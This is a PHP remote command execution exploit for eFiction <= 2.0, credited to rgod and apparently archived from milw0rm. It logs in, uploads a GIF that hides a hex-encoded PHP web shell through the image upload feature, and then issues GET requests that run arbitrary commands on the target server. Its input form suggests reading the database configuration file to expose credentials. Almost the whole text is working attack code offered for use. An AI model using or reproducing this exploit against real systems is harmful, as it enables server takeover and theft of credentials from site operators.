********* eFiction <= 2.0 remote commands xctn **********

a script by rgod at http://rgod.altervista.org

* hostname (ex:www.sitename.com)

* path (ex: /efiction/ or just / )

* specify a command , "cat ../../../data/dbconfig.php" to see database user & password

* username...

* ... and password to eFiction, required to upload the fake gif

specify a port other than 80 ( default value )

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path];$username=$_POST[username]; $password=$_POST[password];$port=$_POST[port];$command=$_POST[command]; $proxy=$_POST[proxy]; if (($host<>'') and ($path<>'') and ($username<>'') and ($password<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); #STEP 1 -> Login $data='-----------------------------7d53102423092a Content-Disposition: form-data; name="penname" '.$username.' -----------------------------7d53102423092a Content-Disposition: form-data; name="password" '.$password.' -----------------------------7d53102423092a Content-Disposition: form-data; name="submit" Submit -----------------------------7d53102423092a--'; $packet="POST ".$p."user.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."user.php\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d53102423092a\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $packet.="Host: ".$host.$port."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $COOKIE=$temp2[0]; echo '
Your cookie: '.htmlentities($COOKIE); #STEP 2 -> Upload a shell... $SHELL= chr(0x47).chr(0x49).chr(0x46).chr(0x38).chr(0x39).chr(0x61). chr(0x01).chr(0x00).chr(0x01).chr(0x00).chr(0xf7).chr(0x00). chr(0x00).chr(0xa4).chr(0xb6).chr(0xa4).chr(0x16).chr(0x00). chr(0x00).chr(0xf4).chr(0x00).chr(0x00).chr(0x77).chr(0x00). chr(0x00).chr(0x6b).chr(0x00).chr(0x4c).chr(0x15).chr(0x00). chr(0x00).chr(0xf4).chr(0x00).chr(0x69).chr(0x77).chr(0x00). chr(0x00).chr(0xf8).chr(0x00).chr(0x6e).chr(0x62).chr(0x00). chr(0x00).chr(0x15).chr(0x00).chr(0x67).chr(0x00).chr(0x00). chr(0x00).chr(0x34).chr(0x00).chr(0x75).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x61).chr(0xc0).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x89).chr(0x00).chr(0x00).chr(0x1c).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0xa9).chr(0x00).chr(0x00).chr(0x20).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x6f).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x56).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x3c).chr(0x3f).chr(0x70).chr(0x68).chr(0x70). chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).chr(0x72). chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72). chr(0x74).chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30). chr(0x29).chr(0x3b).chr(0x69).chr(0x6e).chr(0x69).chr(0x5f). chr(0x73).chr(0x65).chr(0x74).chr(0x28).chr(0x22).chr(0x6d). chr(0x61).chr(0x78).chr(0x5f).chr(0x65).chr(0x78).chr(0x65). chr(0x63).chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e). chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x22). chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).chr(0x79). chr(0x73).chr(0x74).chr(0x65).chr(0x6d).chr(0x28).chr(0x24). chr(0x5f).chr(0x47).chr(0x45).chr(0x54).chr(0x5b).chr(0x63). chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x3f). chr(0x3e).chr(0x38).chr(0x00).chr(0x00).chr(0xe5).chr(0x00). chr(0x00).chr(0x12).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x98).chr(0x01).chr(0x00). chr(0xcc).chr(0x00).chr(0x00).chr(0x15).chr(0x00).chr(0x00). chr(0x00).chr(0x58).chr(0x00).chr(0x10).chr(0xe6).chr(0x00). chr(0x04).chr(0x12).chr(0x00).chr(0x10).chr(0x00).chr(0x00). chr(0x04).chr(0x05).chr(0x00).chr(0x01).chr(0x90).chr(0x00). chr(0x00).chr(0xf6).chr(0x00).chr(0x00).chr(0x77).chr(0x00). chr(0x00).chr(0xc8).chr(0x00).chr(0x10).chr(0xd5).chr(0x00). chr(0xe8).chr(0xf5).chr(0x00).chr(0x12).chr(0x77).chr(0x00). chr(0x00).chr(0xff).chr(0x00).chr(0x13).chr(0xff).chr(0x00). chr(0x6c).chr(0xff).chr(0x00).chr(0x6c).chr(0xff).chr(0x00). chr(0x74).chr(0x6a).chr(0x00).chr(0x03).chr(0x16).chr(0x00). chr(0x00).chr(0xf4).chr(0x00).chr(0x00).chr(0x77).chr(0x00). chr(0x00).chr(0xc4).chr(0x00).chr(0x30).chr(0x1e).chr(0x00). chr(0x75).chr(0xe5).chr(0x00).chr(0x15).chr(0x77).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x15).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0xdc).chr(0x00).chr(0x00). chr(0xe7).chr(0x00).chr(0x00).chr(0x12).chr(0x00).chr(0x00). chr(0x00).chr(0x70).chr(0x00).chr(0x01).chr(0x59).chr(0x00). chr(0x00).chr(0x18).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x04).chr(0x00).chr(0x88).chr(0x01).chr(0x00). chr(0xe8).chr(0x05).chr(0x00).chr(0x12).chr(0x01).chr(0x00). chr(0x00).chr(0x6c).chr(0x00).chr(0x04).chr(0xe3).chr(0x00). chr(0x42).chr(0x12).chr(0x00).chr(0x6e).chr(0x00).chr(0x00). chr(0x74).chr(0x7e).chr(0x00).chr(0x30).chr(0x00).chr(0x00). chr(0x87).chr(0x00).chr(0x00).chr(0x6e).chr(0xc0).chr(0x00). chr(0x74).chr(0x00).chr(0x00).chr(0xff).chr(0x00).chr(0x00). chr(0xff).chr(0x00).chr(0x00).chr(0xff).chr(0x00).chr(0x00). chr(0xff).chr(0xff).chr(0x00).chr(0xd6).chr(0xff).chr(0x00). chr(0x32).chr(0xff).chr(0x00).chr(0x6e).chr(0xff).chr(0x00). chr(0x74).chr(0xff).chr(0x00).chr(0x6c).chr(0xff).chr(0x00). chr(0x5b).chr(0xff).chr(0x00).chr(0xe5).chr(0xff).chr(0x00). chr(0x77).chr(0x00).chr(0x00).chr(0x53).chr(0x00).chr(0x00). chr(0x15).chr(0x00).chr(0x00).chr(0x53).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x07).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x6b).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x58).chr(0x00).chr(0x00).chr(0x03).chr(0x00). chr(0xf0).chr(0x00).chr(0x00).chr(0x15).chr(0x00).chr(0x00). chr(0x00).chr(0x06).chr(0x00).chr(0x00).chr(0xf6).chr(0x00). chr(0x00).chr(0xe4).chr(0x00).chr(0x00).chr(0x77).chr(0x00). chr(0x00).chr(0x0f).chr(0x00).chr(0x00).chr(0x1e).chr(0x00). chr(0x00).chr(0xe5).chr(0x00).chr(0x00).chr(0x77).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x01).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0xf8).chr(0x74).chr(0x00).chr(0x62).chr(0xe7). chr(0x00).chr(0x01).chr(0x12).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0xc8).chr(0x68).chr(0x00).chr(0x28). chr(0x32).chr(0x15).chr(0xe5).chr(0xe6).chr(0x00).chr(0x77). chr(0x77).chr(0xa4).chr(0x00).chr(0xff).chr(0xe5).chr(0x00). chr(0xff).chr(0x12).chr(0x00).chr(0xff).chr(0x00).chr(0x00). chr(0xff).chr(0x00).chr(0x00).chr(0x6c).chr(0x00).chr(0x00). chr(0x5b).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).chr(0x00). chr(0x77).chr(0xfc).chr(0xf8).chr(0x36).chr(0xf7).chr(0x62). chr(0x00).chr(0x12).chr(0x15).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x05).chr(0x00).chr(0x36).chr(0x90).chr(0x01). chr(0x00).chr(0xf6).chr(0x00).chr(0x00).chr(0x77).chr(0x00). chr(0x00).chr(0xc8).chr(0x04).chr(0xd8).chr(0xd5).chr(0x29). chr(0xed).chr(0xf5).chr(0xe5).chr(0x12).chr(0x77).chr(0x77). chr(0x00).chr(0xff).chr(0x94).chr(0xff).chr(0xff).chr(0xe7). chr(0xff).chr(0xff).chr(0x12).chr(0xff).chr(0xff).chr(0x00). chr(0xff).chr(0x6a).chr(0x64).chr(0x00).chr(0x16).chr(0x2f). chr(0x00).chr(0xf4).chr(0xe6).chr(0x00).chr(0x77).chr(0x77). chr(0x00).chr(0xe0).chr(0x00).chr(0x9c).chr(0x18).chr(0x00). chr(0xe8).chr(0xe5).chr(0x00).chr(0x12).chr(0x77).chr(0x00). chr(0x00).chr(0x00).chr(0xff).chr(0x4e).chr(0x00).chr(0xff). chr(0x21).chr(0x15).chr(0xff).chr(0x4c).chr(0x00).chr(0xff). chr(0x00).chr(0x00).chr(0x6f).chr(0x7c).chr(0x00).chr(0x10). chr(0xe8).chr(0x00).chr(0xe5).chr(0x12).chr(0x00).chr(0x77). chr(0x00).chr(0xf8).chr(0x00).chr(0x7b).chr(0x62).chr(0x00). chr(0xe0).chr(0x15).chr(0x00).chr(0x4e).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x98).chr(0xb0).chr(0x01).chr(0xe8). chr(0xe8).chr(0x00).chr(0x12).chr(0x12).chr(0x00).chr(0x00). chr(0x00).chr(0x64).chr(0x98).chr(0x6f).chr(0x2f).chr(0x10). chr(0x10).chr(0xe6).chr(0xe5).chr(0xe5).chr(0x77).chr(0x77). chr(0x77).chr(0x00).chr(0x10).chr(0x52).chr(0x00).chr(0xe4). chr(0xe9).chr(0x00).chr(0x4e).chr(0x12).chr(0x00).chr(0x00). chr(0x00).chr(0x61).chr(0x20).chr(0xc8).chr(0x00).chr(0x02). chr(0xff).chr(0x6c).chr(0x4f).chr(0xff).chr(0x00).chr(0x00). chr(0x7f).chr(0x69).chr(0x00).chr(0x1c).chr(0x00).chr(0x01). chr(0xe9).chr(0x61).chr(0x00).chr(0x12).chr(0x00).chr(0x00). chr(0x00).chr(0x29).chr(0x94).chr(0x00).chr(0x00).chr(0xe7). chr(0x00).chr(0x00).chr(0x12).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x6f).chr(0x00).chr(0x01). chr(0x10).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).chr(0x00). chr(0x77).chr(0x00).chr(0xa0).chr(0x00).chr(0x00).chr(0x3a). chr(0x00).chr(0x00).chr(0x50).chr(0x00).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x01).chr(0x00).chr(0x30). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x69). chr(0x00).chr(0x00).chr(0x61).chr(0x60).chr(0x00).chr(0x74). chr(0xf1).chr(0x00).chr(0x74).chr(0x15).chr(0x00).chr(0x69). chr(0x00).chr(0x00).chr(0x00).chr(0xf0).chr(0x00).chr(0x00). chr(0xaa).chr(0x00).chr(0x02).chr(0x47).chr(0x00).chr(0x00). chr(0x00).chr(0x21).chr(0xf9).chr(0x04).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x2c).chr(0x00).chr(0x00). chr(0x00).chr(0x00).chr(0x01).chr(0x00).chr(0x01).chr(0x00). chr(0x07).chr(0x08).chr(0x04).chr(0x00).chr(0x01).chr(0x04). chr(0x04).chr(0x00).chr(0x3b).chr(0x00); $data='-----------------------------7d529a1d23092a Content-Disposition: form-data; name="upfile"; filename="C:\suntzu.php" Content-Type: image/gif '.$SHELL.' -----------------------------7d529a1d23092a Content-Disposition: form-data; name="submit" upload -----------------------------7d529a1d23092a-- '; $packet="POST ".$p."user.php?action=manageimages&upload=upload HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."/user.php?action=manageimages&upload=upload\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$COOKIE."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 3 -> Launch commands... $packet="GET ".$p."stories/".$username."/images/suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("GIF89",$html)) {echo "Exploit succeeded..."; die;} else {echo "Trying STEP 4...";} #STEP 4 -> If Step 3 failed... maybe this is efiction 2.0, cycliing GET requests... for ($i=1; $i<=100; $i++) { $packet="GET ".$p."stories/".$i."/images/suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("GIF89",$html)) {echo "Exploit succeeded..."; die;} } //if you are here... echo "Exploit failed...
"; } else {echo "Fill * required fields, optionally specify a proxy...";} ?> # milw0rm.com [2005-11-25]